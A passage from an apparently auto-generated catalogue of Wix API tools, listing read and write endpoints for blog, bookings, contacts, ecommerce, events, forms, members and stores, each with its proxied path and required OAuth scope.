wix_get_blog_v3_draft_posts_trash_bin_by_draftpostid (read) — Get Deleted Draft Post via GET /blog/v3/draft-posts/trash-bin/{draftPostId} GET /api/v1/wix/blog/v3/draft-posts/trash-bin/{draftPostId}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_get_bookings_attendance_v2_attendance_by_attendanceid (read) — Get Attendance via GET /bookings/attendance/v2/attendance/{attendanceId} GET /api/v1/wix/bookings/attendance/v2/attendance/{attendanceId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-SENSITIVE. wix_get_bookings_v1_booking_policies_by_bookingpolicyid (read) — Get Booking Policy via GET /bookings/v1/booking-policies/{bookingPolicyId} GET /api/v1/wix/bookings/v1/booking-policies/{bookingPolicyId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v1_serviceoptionsandvariants_by_serviceoptionsandvariantsid (read) — Get Service Options And Variants via GET /bookings/v1/serviceOptionsAndVariants/{serviceOptionsAndVariantsId} GET /api/v1/wix/bookings/v1/serviceOptionsAndVariants/{serviceOptionsAndVariantsId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v1_serviceoptionsandvariants_service_id_by_serviceid (read) — Get Service Options And Variants By Service Id via GET /bookings/v1/serviceOptionsAndVariants/service_id/{serviceId} GET /api/v1/wix/bookings/v1/serviceOptionsAndVariants/service_id/{serviceId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v1_staff_members_by_staffmemberid (read) — Get Staff Member via GET /bookings/v1/staff-members/{staffMemberId} GET /api/v1/wix/bookings/v1/staff-members/{staffMemberId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v2_categories_by_categoryid (read) — Get Category via GET /bookings/v2/categories/{categoryId} GET /api/v1/wix/bookings/v2/categories/{categoryId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v2_external_calendars_connections (read) — List Connections via GET /bookings/v2/external-calendars/connections GET /api/v1/wix/bookings/v2/external-calendars/connections. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_get_bookings_v2_external_calendars_connections_by_connectionid (read) — Get Connection via GET /bookings/v2/external-calendars/connections/{connectionId} GET /api/v1/wix/bookings/v2/external-calendars/connections/{connectionId}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_get_bookings_v2_external_calendars_connections_by_connectionid_calendars (read) — List Calendars via GET /bookings/v2/external-calendars/connections/{connectionId}/calendars GET /api/v1/wix/bookings/v2/external-calendars/connections/{connectionId}/calendars. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_get_bookings_v2_external_calendars_events (read) — List Events via GET /bookings/v2/external-calendars/events GET /api/v1/wix/bookings/v2/external-calendars/events. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_get_bookings_v2_external_calendars_providers (read) — List Providers via GET /bookings/v2/external-calendars/providers GET /api/v1/wix/bookings/v2/external-calendars/providers. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_get_bookings_v2_resources_by_resourceid (read) — Get Resource via GET /bookings/v2/resources/{resourceId} GET /api/v1/wix/bookings/v2/resources/{resourceId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v2_resources_resource_types_by_resourcetypeid (read) — Get Resource Type via GET /bookings/v2/resources/resource-types/{resourceTypeId} GET /api/v1/wix/bookings/v2/resources/resource-types/{resourceTypeId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v2_staff_members_trash_bin (read) — List Deleted Staff Members via GET /bookings/v2/staff-members/trash-bin GET /api/v1/wix/bookings/v2/staff-members/trash-bin. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_bookings_v2_staff_members_trash_bin_by_staffmemberid (read) — Get Deleted Staff Member via GET /bookings/v2/staff-members/trash-bin/{staffMemberId} GET /api/v1/wix/bookings/v2/staff-members/trash-bin/{staffMemberId}. Scopes: SCOPE.DC-BOOKINGS.READ-BOOKINGS-PUBLIC. wix_get_categories_v1_categories_by_categoryid (read) — Get Category via GET /categories/v1/categories/{categoryId} GET /api/v1/wix/categories/v1/categories/{categoryId}. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_get_categories_v1_categories_by_categoryid_arranged_items (read) — Get Arranged Items via GET /categories/v1/categories/{categoryId}/arranged-items GET /api/v1/wix/categories/v1/categories/{categoryId}/arranged-items. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_get_categories_v1_categories_list_trees (read) — List Trees via GET /categories/v1/categories/list-trees GET /api/v1/wix/categories/v1/categories/list-trees. Scopes: SCOPE.CATEGORIES.CATEGORY_READ. wix_get_contacts_v4_attachments_by_contactid (read) — List Attachments via GET /contacts/v4/attachments/{contactId} GET /api/v1/wix/contacts/v4/attachments/{contactId}. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACT-ATTACHMENTS. wix_get_contacts_v4_attachments_by_contactid_by_attachmentid (read) — Get Attachment via GET /contacts/v4/attachments/{contactId}/{attachmentId} GET /api/v1/wix/contacts/v4/attachments/{contactId}/{attachmentId}. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACT-ATTACHMENTS. wix_get_contacts_v4_bulk_jobs_by_id (read) — Get Bulk Job via GET /contacts/v4/bulk/jobs/{id} GET /api/v1/wix/contacts/v4/bulk/jobs/{id}. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_get_contacts_v4_contacts (read) — List Contacts via GET /contacts/v4/contacts GET /api/v1/wix/contacts/v4/contacts. Scopes: SCOPE.DC-CONTACTS.READ-CONTACTS. wix_get_contacts_v4_contacts_by_id (read) — Get Contact via GET /contacts/v4/contacts/{id} GET /api/v1/wix/contacts/v4/contacts/{id}. Scopes: SCOPE.DC-CONTACTS.READ-CONTACTS. wix_get_contacts_v4_contacts_facets (read) — List Facets via GET /contacts/v4/contacts/facets GET /api/v1/wix/contacts/v4/contacts/facets. Scopes: SCOPE.DC-CONTACTS.READ-CONTACTS. wix_get_contacts_v4_extended_fields (read) — List Extended Fields via GET /contacts/v4/extended-fields GET /api/v1/wix/contacts/v4/extended-fields. Scopes: SCOPE.DC-CONTACTS.MANAGE-EX-FIELDS. wix_get_contacts_v4_extended_fields_by_key (read) — Get Extended Field via GET /contacts/v4/extended-fields/{key} GET /api/v1/wix/contacts/v4/extended-fields/{key}. Scopes: SCOPE.DC-CONTACTS.MANAGE-EX-FIELDS. wix_get_contacts_v4_labels (read) — List Labels via GET /contacts/v4/labels GET /api/v1/wix/contacts/v4/labels. Scopes: SCOPE.DC-CONTACTS.MANAGE-LABELS. wix_get_contacts_v4_labels_by_key (read) — Get Label via GET /contacts/v4/labels/{key} GET /api/v1/wix/contacts/v4/labels/{key}. Scopes: SCOPE.DC-CONTACTS.MANAGE-LABELS. wix_get_ecom_v1_abandoned_checkout_by_abandonedcheckoutid (read) — Get Abandoned Checkout via GET /ecom/v1/abandoned-checkout/{abandonedCheckoutId} GET /api/v1/wix/ecom/v1/abandoned-checkout/{abandonedCheckoutId}. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_get_ecom_v1_checkout_settings (read) — Get Checkout Settings via GET /ecom/v1/checkout-settings GET /api/v1/wix/ecom/v1/checkout-settings. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_get_ecom_v1_checkout_templates_by_checkouttemplateid (read) — Get Checkout Template via GET /ecom/v1/checkout-templates/{checkoutTemplateId} GET /api/v1/wix/ecom/v1/checkout-templates/{checkoutTemplateId}. Scopes: SCOPE.DC-ECOM-MEGA.MANAGE-ECOM. wix_get_ecom_v1_draft_orders_by_draftorderid (read) — Get Draft Order via GET /ecom/v1/draft-orders/{draftOrderId} GET /api/v1/wix/ecom/v1/draft-orders/{draftOrderId}. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_get_ecom_v1_draft_orders_by_orderid_draftability (read) — Get Order Draftability Status via GET /ecom/v1/draft-orders/{orderId}/draftability GET /api/v1/wix/ecom/v1/draft-orders/{orderId}/draftability. Scopes: SCOPE.ECOM.DRAFT-ORDERS. wix_get_ecom_v1_fulfillments_orders_by_orderid (read) — List Fulfillments For Single Order via GET /ecom/v1/fulfillments/orders/{orderId} GET /api/v1/wix/ecom/v1/fulfillments/orders/{orderId}. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_get_ecom_v1_orders_by_id (read) — Get Order via GET /ecom/v1/orders/{id} GET /api/v1/wix/ecom/v1/orders/{id}. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_get_ecom_v1_payments_orders_by_orderid (read) — List Transactions For Single Order via GET /ecom/v1/payments/orders/{orderId} GET /api/v1/wix/ecom/v1/payments/orders/{orderId}. Scopes: SCOPE.DC-STORES.READ-ORDERS. wix_get_ecom_v2_carts_by_cartid (read) — Get Cart via GET /ecom/v2/carts/{cartId} GET /api/v1/wix/ecom/v2/carts/{cartId}. Scopes: SCOPE.ECOM.READ-CARTS-V2_LIMITED. wix_get_ecom_v2_carts_current (read) — Get Current Cart via GET /ecom/v2/carts/current GET /api/v1/wix/ecom/v2/carts/current. Scopes: SCOPE.ECOM.READ-CARTS-V2. wix_get_events_v1_categories_by_eventid (read) — List Event Categories via GET /events/v1/categories/{eventId} GET /api/v1/wix/events/v1/categories/{eventId}. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_get_events_v1_checkout_available_tickets (read) — List Available Tickets via GET /events/v1/checkout/available-tickets GET /api/v1/wix/events/v1/checkout/available-tickets. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_get_events_v1_checkout_options (read) — Get Checkout Options via GET /events/v1/checkout/options GET /api/v1/wix/events/v1/checkout/options. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_get_events_v1_events_by_eventid_form (read) — Get Form via GET /events/v1/events/{eventId}/form GET /api/v1/wix/events/v1/events/{eventId}/form. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_get_events_v1_events_by_eventid_orders_by_ordernumber (read) — Get Order via GET /events/v1/events/{eventId}/orders/{orderNumber} GET /api/v1/wix/events/v1/events/{eventId}/orders/{orderNumber}. Scopes: SCOPE.DC-EVENTS.READ-BASIC-ORDERS. wix_get_events_v1_orders (read) — List Orders via GET /events/v1/orders GET /api/v1/wix/events/v1/orders. Scopes: SCOPE.DC-EVENTS.READ-BASIC-ORDERS. wix_get_events_v1_orders_summary (read) — Get Order Summary via GET /events/v1/orders/summary GET /api/v1/wix/events/v1/orders/summary. Scopes: SCOPE.DC-EVENTS.READ-BASIC-ORDERS. wix_get_events_v1_schedule (read) — List Schedule Items via GET /events/v1/schedule GET /api/v1/wix/events/v1/schedule. Scopes: SCOPE.EVENTS.MANAGE-EVENTS. wix_get_events_v1_schedule_by_itemid (read) — Get Schedule Item via GET /events/v1/schedule/{itemId} GET /api/v1/wix/events/v1/schedule/{itemId}. Scopes: SCOPE.EVENTS.MANAGE-EVENTS. wix_get_events_v1_settings (read) — Get Events Settings via GET /events/v1/settings GET /api/v1/wix/events/v1/settings. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_get_events_v1_staff_members_by_staffmemberid (read) — Get Staff Member via GET /events/v1/staff-members/{staffMemberId} GET /api/v1/wix/events/v1/staff-members/{staffMemberId}. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_get_events_v1_ticket_reservations_by_ticketreservationid (read) — Get Ticket Reservation via GET /events/v1/ticket-reservations/{ticketReservationId} GET /api/v1/wix/events/v1/ticket-reservations/{ticketReservationId}. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_get_events_v1_tickets (read) — List Tickets via GET /events/v1/tickets GET /api/v1/wix/events/v1/tickets. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_get_events_v1_tickets_by_ticketnumber (read) — Get Ticket via GET /events/v1/tickets/{ticketNumber} GET /api/v1/wix/events/v1/tickets/{ticketNumber}. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_get_events_v2_policies_by_policyid (read) — Get Policy via GET /events/v2/policies/{policyId} GET /api/v1/wix/events/v2/policies/{policyId}. Scopes: SCOPE.DC-EVENTS.READ-POLICIES. wix_get_events_v2_rsvps_by_rsvpid (read) — Get Rsvp via GET /events/v2/rsvps/{rsvpId} GET /api/v1/wix/events/v2/rsvps/{rsvpId}. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_get_events_v2_rsvps_summaries (read) — List Rsvp Summary via GET /events/v2/rsvps/summaries GET /api/v1/wix/events/v2/rsvps/summaries. Scopes: SCOPE.DC-EVENTS.READ-GUEST-LIST. wix_get_events_v3_events_by_eventid (read) — Get Event via GET /events/v3/events/{eventId} GET /api/v1/wix/events/v3/events/{eventId}. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_get_events_v3_events_category_by_categoryid (read) — List Events By Category via GET /events/v3/events/category/{categoryId} GET /api/v1/wix/events/v3/events/category/{categoryId}. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_get_events_v3_events_slug_by_slug (read) — Get Event By Slug via GET /events/v3/events/slug/{slug} GET /api/v1/wix/events/v3/events/slug/{slug}. Scopes: SCOPE.DC-EVENTS.READ-EVENTS. wix_get_events_v3_ticket_definitions_by_ticketdefinitionid (read) — Get Ticket Definition via GET /events/v3/ticket-definitions/{ticketDefinitionId} GET /api/v1/wix/events/v3/ticket-definitions/{ticketDefinitionId}. Scopes: SCOPE.DC-EVENTS.MANAGE-TICKET-DEF. wix_get_form_schema_service_v4_forms (read) — List Forms via GET /form-schema-service/v4/forms GET /api/v1/wix/form-schema-service/v4/forms. Scopes: SCOPE.FORMS.VIEW-FORM. wix_get_form_schema_service_v4_forms_by_formid (read) — Get Form via GET /form-schema-service/v4/forms/{formId} GET /api/v1/wix/form-schema-service/v4/forms/{formId}. Scopes: SCOPE.FORMS.VIEW-FORM. wix_get_form_schema_service_v4_forms_by_formid_summary (read) — Get Form Summary via GET /form-schema-service/v4/forms/{formId}/summary GET /api/v1/wix/form-schema-service/v4/forms/{formId}/summary. Scopes: SCOPE.FORMS.VIEW-FORM. wix_get_form_schema_service_v4_forms_providers_config (read) — List Forms Providers Configs via GET /form-schema-service/v4/forms/providers-config GET /api/v1/wix/form-schema-service/v4/forms/providers-config. Scopes: SCOPE.FORMS.EDIT-FORM. wix_get_form_schema_service_v4_forms_trash_bin (read) — List Deleted Forms via GET /form-schema-service/v4/forms/trash-bin GET /api/v1/wix/form-schema-service/v4/forms/trash-bin. Scopes: SCOPE.FORMS.VIEW-FORM. wix_get_form_schema_service_v4_forms_trash_bin_by_formid (read) — Get Deleted Form via GET /form-schema-service/v4/forms/trash-bin/{formId} GET /api/v1/wix/form-schema-service/v4/forms/trash-bin/{formId}. Scopes: SCOPE.FORMS.VIEW-FORM. wix_get_forms_v4_submissions_by_submissionid (read) — Get Submission via GET /forms/v4/submissions/{submissionId} GET /api/v1/wix/forms/v4/submissions/{submissionId}. Scopes: SCOPE.FORMS.MANAGE-SUBMISSIONS. wix_get_members_v1_activity_counters_by_memberid (read) — Get Activity Counters via GET /members/v1/activity-counters/{memberId} GET /api/v1/wix/members/v1/activity-counters/{memberId}. Scopes: SCOPE.DC-MEMBERS.READ-ACTIVITY-COUNTERS. wix_get_members_v1_custom_field_suggestions (read) — List Custom Field Suggestions via GET /members/v1/custom-field-suggestions GET /api/v1/wix/members/v1/custom-field-suggestions. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_get_members_v1_custom_fields_applications_by_customfieldid (read) — Get Custom Field Application via GET /members/v1/custom-fields-applications/{customFieldId} GET /api/v1/wix/members/v1/custom-fields-applications/{customFieldId}. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_get_members_v1_custom_fields_by_id (read) — Get Custom Field via GET /members/v1/custom-fields/{id} GET /api/v1/wix/members/v1/custom-fields/{id}. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_get_members_v1_default_privacy_status (read) — Get Default Privacy Status via GET /members/v1/default-privacy-status GET /api/v1/wix/members/v1/default-privacy-status. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_get_members_v1_members (read) — List Members via GET /members/v1/members GET /api/v1/wix/members/v1/members. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_get_members_v1_members_by_id (read) — Get Member via GET /members/v1/members/{id} GET /api/v1/wix/members/v1/members/{id}. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_get_members_v2_abouts_by_id (read) — Get Member About via GET /members/v2/abouts/{id} GET /api/v1/wix/members/v2/abouts/{id}. Scopes: SCOPE.DC-MEMBERS.READ-MEMBERS. wix_get_members_v3_followers_by_memberid (read) — List Member Followers via GET /members/v3/followers/{memberId} GET /api/v1/wix/members/v3/followers/{memberId}. Scopes: SCOPE.DC-MEMBERS.READ-FOLLOWERS. wix_get_members_v3_followers_by_memberid_following (read) — List Member Following via GET /members/v3/followers/{memberId}/following GET /api/v1/wix/members/v3/followers/{memberId}/following. Scopes: SCOPE.DC-MEMBERS.READ-FOLLOWERS. wix_get_stores_v3_all_products_category (read) — Get All Products Category via GET /stores/v3/all-products-category GET /api/v1/wix/stores/v3/all-products-category. Scopes: SCOPE.STORES.CATALOG_READ_LIMITED. wix_get_stores_v3_brands_by_brandid (read) — Get Brand via GET /stores/v3/brands/{brandId} GET /api/v1/wix/stores/v3/brands/{brandId}. Scopes: SCOPE.STORES.BRAND_READ. wix_get_stores_v3_customizations_by_customizationid (read) — Get Customization via GET /stores/v3/customizations/{customizationId} GET /api/v1/wix/stores/v3/customizations/{customizationId}. Scopes: SCOPE.STORES.CUSTOMIZATION_READ. wix_get_stores_v3_info_sections_by_infosectionid (read) — Get Info Section via GET /stores/v3/info-sections/{infoSectionId} GET /api/v1/wix/stores/v3/info-sections/{infoSectionId}. Scopes: SCOPE.STORES.INFO_SECTION_READ. wix_get_stores_v3_inventory_items_by_inventoryitemid (read) — Get Inventory Item via GET /stores/v3/inventory-items/{inventoryItemId} GET /api/v1/wix/stores/v3/inventory-items/{inventoryItemId}. Scopes: SCOPE.STORES.INVENTORY_ITEM_READ. wix_get_stores_v3_locations_by_storeslocationid (read) — Get Stores Location via GET /stores/v3/locations/{storesLocationId} GET /api/v1/wix/stores/v3/locations/{storesLocationId}. Scopes: SCOPE.STORES.LOCATION_READ. wix_get_stores_v3_products_by_productid (read) — Get Product via GET /stores/v3/products/{productId} GET /api/v1/wix/stores/v3/products/{productId}. Scopes: SCOPE.STORES.PRODUCT_READ. wix_get_stores_v3_products_slug_by_slug (read) — Get Product By Slug via GET /stores/v3/products/slug/{slug} GET /api/v1/wix/stores/v3/products/slug/{slug}. Scopes: SCOPE.STORES.PRODUCT_READ. wix_get_stores_v3_provision_version (read) — Get Catalog Version via GET /stores/v3/provision/version GET /api/v1/wix/stores/v3/provision/version. Scopes: SCOPE.STORES.CATALOG_READ_LIMITED. wix_get_stores_v3_ribbons_by_ribbonid (read) — Get Ribbon via GET /stores/v3/ribbons/{ribbonId} GET /api/v1/wix/stores/v3/ribbons/{ribbonId}. Scopes: SCOPE.STORES.RIBBON_READ. wix_get_v2_stats_post_count (read) — Query Post Count via GET /v2/stats/post/count GET /api/v1/wix/v2/stats/post/count. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v2_stats_posts_total (read) — Get Total Posts via GET /v2/stats/posts/total GET /api/v1/wix/v2/stats/posts/total. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v3_posts (read) — List Posts via GET /v3/posts GET /api/v1/wix/v3/posts. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v3_posts_by_postid (read) — Get Post via GET /v3/posts/{postId} GET /api/v1/wix/v3/posts/{postId}. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v3_posts_by_postid_metrics (read) — Get Post Metrics via GET /v3/posts/{postId}/metrics GET /api/v1/wix/v3/posts/{postId}/metrics. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v3_posts_slugs_by_slug (read) — Get Post By Slug via GET /v3/posts/slugs/{slug=**} GET /api/v1/wix/v3/posts/slugs/{slug}. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v3_tags_by_tagid (read) — Get Tag via GET /v3/tags/{tagId} GET /api/v1/wix/v3/tags/{tagId}. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v3_tags_labels_by_label (read) — Get Tag By Label via GET /v3/tags/labels/{label=**} GET /api/v1/wix/v3/tags/labels/{label}. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_get_v3_tags_slugs_by_slug (read) — Get Tag By Slug via GET /v3/tags/slugs/{slug} GET /api/v1/wix/v3/tags/slugs/{slug}. Scopes: SCOPE.DC-BLOG.READ-BLOGS. wix_patch_api_bookings_v2_services_by_service_id (write) — Update Service via PATCH /_api/bookings/v2/services/{service.id} PATCH /api/v1/wix/_api/bookings/v2/services/{service_id}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_patch_blog_v3_categories_by_category_id (write) — Update Category via PATCH /blog/v3/categories/{category.id} PATCH /api/v1/wix/blog/v3/categories/{category_id}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_patch_blog_v3_draft_posts_by_draftpost_id (write) — Update Draft Post via PATCH /blog/v3/draft-posts/{draftPost.id} PATCH /api/v1/wix/blog/v3/draft-posts/{draftPost_id}. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_patch_blog_v3_draft_posts_update (write) — Bulk Update Draft Posts via PATCH /blog/v3/draft-posts/update PATCH /api/v1/wix/blog/v3/draft-posts/update. Scopes: SCOPE.DC-BLOG.MANAGE-BLOG. wix_patch_bookings_v1_booking_policies_by_bookingpolicy_id (write) — Update Booking Policy via PATCH /bookings/v1/booking-policies/{bookingPolicy.id} PATCH /api/v1/wix/bookings/v1/booking-policies/{bookingPolicy_id}. Scopes: SCOPE.BOOKINGS.CONFIGURATION. wix_patch_bookings_v1_serviceoptionsandvariants_by_serviceoptionsandvariants_id (write) — Update Service Options And Variants via PATCH /bookings/v1/serviceOptionsAndVariants/{serviceOptionsAndVariants.id} PATCH /api/v1/wix/bookings/v1/serviceOptionsAndVariants/{serviceOptionsAndVariants_id}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_patch_bookings_v1_staff_members_by_staffmember_id (write) — Update Staff Member via PATCH /bookings/v1/staff-members/{staffMember.id} PATCH /api/v1/wix/bookings/v1/staff-members/{staffMember_id}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_patch_bookings_v2_categories_by_category_id (write) — Update Category via PATCH /bookings/v2/categories/{category.id} PATCH /api/v1/wix/bookings/v2/categories/{category_id}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_patch_bookings_v2_external_calendars_connections_by_connectionid_sync_config (write) — Update Sync Config via PATCH /bookings/v2/external-calendars/connections/{connectionId}/sync-config PATCH /api/v1/wix/bookings/v2/external-calendars/connections/{connectionId}/sync-config. Scopes: SCOPE.DC-BOOKINGS.MANAGE-EXTERNAL-CALENDARS. wix_patch_bookings_v2_resources_by_resource_id (write) — Update Resource via PATCH /bookings/v2/resources/{resource.id} PATCH /api/v1/wix/bookings/v2/resources/{resource_id}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_patch_bookings_v2_resources_resource_types_by_resourcetype_id (write) — Update Resource Type via PATCH /bookings/v2/resources/resource-types/{resourceType.id} PATCH /api/v1/wix/bookings/v2/resources/resource-types/{resourceType_id}. Scopes: SCOPE.DC-BOOKINGS.MANAGE-BOOKINGS. wix_patch_categories_v1_categories_by_category_id (write) — Update Category via PATCH /categories/v1/categories/{category.id} PATCH /api/v1/wix/categories/v1/categories/{category_id}. Scopes: SCOPE.CATEGORIES.CATEGORY_WRITE. wix_patch_categories_v1_categories_visibility (write) — Update Category Visibility via PATCH /categories/v1/categories/visibility PATCH /api/v1/wix/categories/v1/categories/visibility. Scopes: SCOPE.CATEGORIES.CATEGORY_WRITE. wix_patch_contacts_v4_contacts_by_contactid (write) — Update Contact via PATCH /contacts/v4/contacts/{contactId} PATCH /api/v1/wix/contacts/v4/contacts/{contactId}. Scopes: SCOPE.DC-CONTACTS.MANAGE-CONTACTS. wix_patch_contacts_v4_extended_fields_by_field_key (write) — Update Extended Field via PATCH /contacts/v4/extended-fields/{field.key} PATCH /api/v1/wix/contacts/v4/extended-fields/{field_key}. Scopes: SCOPE.DC-CONTACTS.MANAGE-EX-FIELDS. wix_patch_contacts_v4_labels_by_label_key (write) — Update Label via PATCH /contacts/v4/labels/{label.key} PATCH /api/v1/wix/contacts/v4/labels/{label_key}. Scopes: SCOPE.DC-CONTACTS.MANAGE-LABELS. wix_patch_ecom_v1_checkout_settings (write) — Update Checkout Settings via PATCH /ecom/v1/checkout-settings PATCH /api/v1/wix/ecom/v1/checkout-settings. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_patch_ecom_v1_checkout_templates_by_checkouttemplate_id (write) — Update Checkout Template via PATCH /ecom/v1/checkout-templates/{checkoutTemplate.id} PATCH /api/v1/wix/ecom/v1/checkout-templates/{checkoutTemplate_id}. Scopes: SCOPE.DC-ECOM-MEGA.MANAGE-ECOM. wix_patch_ecom_v1_fulfillments_by_fulfillment_id_orders_by_orderid (write) — Update Fulfillment via PATCH /ecom/v1/fulfillments/{fulfillment.id}/orders/{orderId} PATCH /api/v1/wix/ecom/v1/fulfillments/{fulfillment_id}/orders/{orderId}. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_patch_ecom_v1_orders_by_order_id (write) — Update Order via PATCH /ecom/v1/orders/{order.id} PATCH /api/v1/wix/ecom/v1/orders/{order_id}. Scopes: SCOPE.DC-STORES.MANAGE-ORDERS. wix_patch_ecom_v2_carts_by_cart_id (write) — Update Cart via PATCH /ecom/v2/carts/{cart.id} PATCH /api/v1/wix/ecom/v2/carts/{cart_id}. Scopes: SCOPE.ECOM.WRITE-CARTS-V2_LIMITED. wix_patch_ecom_v2_carts_current (write) — Update Current Cart via PATCH /ecom/v2/carts/current PATCH /api/v1/wix/ecom/v2/carts/current. Scopes: SCOPE.ECOM.WRITE-CARTS-V2. wix_patch_events_v1_categories_by_category_id (write) — Update Category via PATCH /events/v1/categories/{category.id} PATCH /api/v1/wix/events/v1/categories/{category_id}. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_patch_events_v1_checkout_by_ordernumber (write) — Update Checkout via PATCH /events/v1/checkout/{orderNumber} PATCH /api/v1/wix/events/v1/checkout/{orderNumber}. Scopes: SCOPE.EVENTS.EVENTS-CHECKOUT. wix_patch_events_v1_events_by_eventid_form_messages (write) — Update Messages via PATCH /events/v1/events/{eventId}/form/messages PATCH /api/v1/wix/events/v1/events/{eventId}/form/messages. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_patch_events_v1_events_by_eventid_orders (write) — Bulk Update Orders via PATCH /events/v1/events/{eventId}/orders PATCH /api/v1/wix/events/v1/events/{eventId}/orders. Scopes: SCOPE.DC-EVENTS.MANAGE-ORDERS. wix_patch_events_v1_events_by_eventid_orders_by_ordernumber (write) — Update Order via PATCH /events/v1/events/{eventId}/orders/{orderNumber} PATCH /api/v1/wix/events/v1/events/{eventId}/orders/{orderNumber}. Scopes: SCOPE.DC-EVENTS.MANAGE-ORDERS. wix_patch_events_v1_schedule_draft_by_itemid (write) — Update Schedule Item via PATCH /events/v1/schedule/draft/{itemId} PATCH /api/v1/wix/events/v1/schedule/draft/{itemId}. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_patch_events_v1_settings_by_eventssettings_id (write) — Update Events Settings via PATCH /events/v1/settings/{eventsSettings.id} PATCH /api/v1/wix/events/v1/settings/{eventsSettings_id}. Scopes: SCOPE.DC-EVENTS.MANAGE-EVENTS. wix_patch_events_v1_staff_members_by_staffmember_id (write) — Update Staff Member via PATCH /events/v1/staff-members/{staffMember.id} PATCH /api/v1/wix/events/v1/staff-members/{staffMember_id}. Scopes: SCOPE.DC-EVENTS-MEGA.MANAGE-EVENTS. wix_patch_events_v1_tickets (write) — Bulk Update Tickets via PATCH /events/v1/tickets PATCH /api/v1/wix/events/v1/tickets. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_patch_events_v1_tickets_by_ticketnumber (write) — Update Ticket via PATCH /events/v1/tickets/{ticketNumber} PATCH /api/v1/wix/events/v1/tickets/{ticketNumber}. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_patch_events_v2_bulk_rsvps_update (write) — Bulk Update Rsvps via PATCH /events/v2/bulk/rsvps/update PATCH /api/v1/wix/events/v2/bulk/rsvps/update. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. wix_patch_events_v2_policies_by_policy_id (write) — Update Policy via PATCH /events/v2/policies/{policy.id} PATCH /api/v1/wix/events/v2/policies/{policy_id}. Scopes: SCOPE.DC-EVENTS.MANAGE-POLICIES. wix_patch_events_v2_rsvps_by_rsvp_id (write) — Update Rsvp via PATCH /events/v2/rsvps/{rsvp.id} PATCH /api/v1/wix/events/v2/rsvps/{rsvp_id}. Scopes: SCOPE.DC-EVENTS.MANAGE-GUEST-LIST. 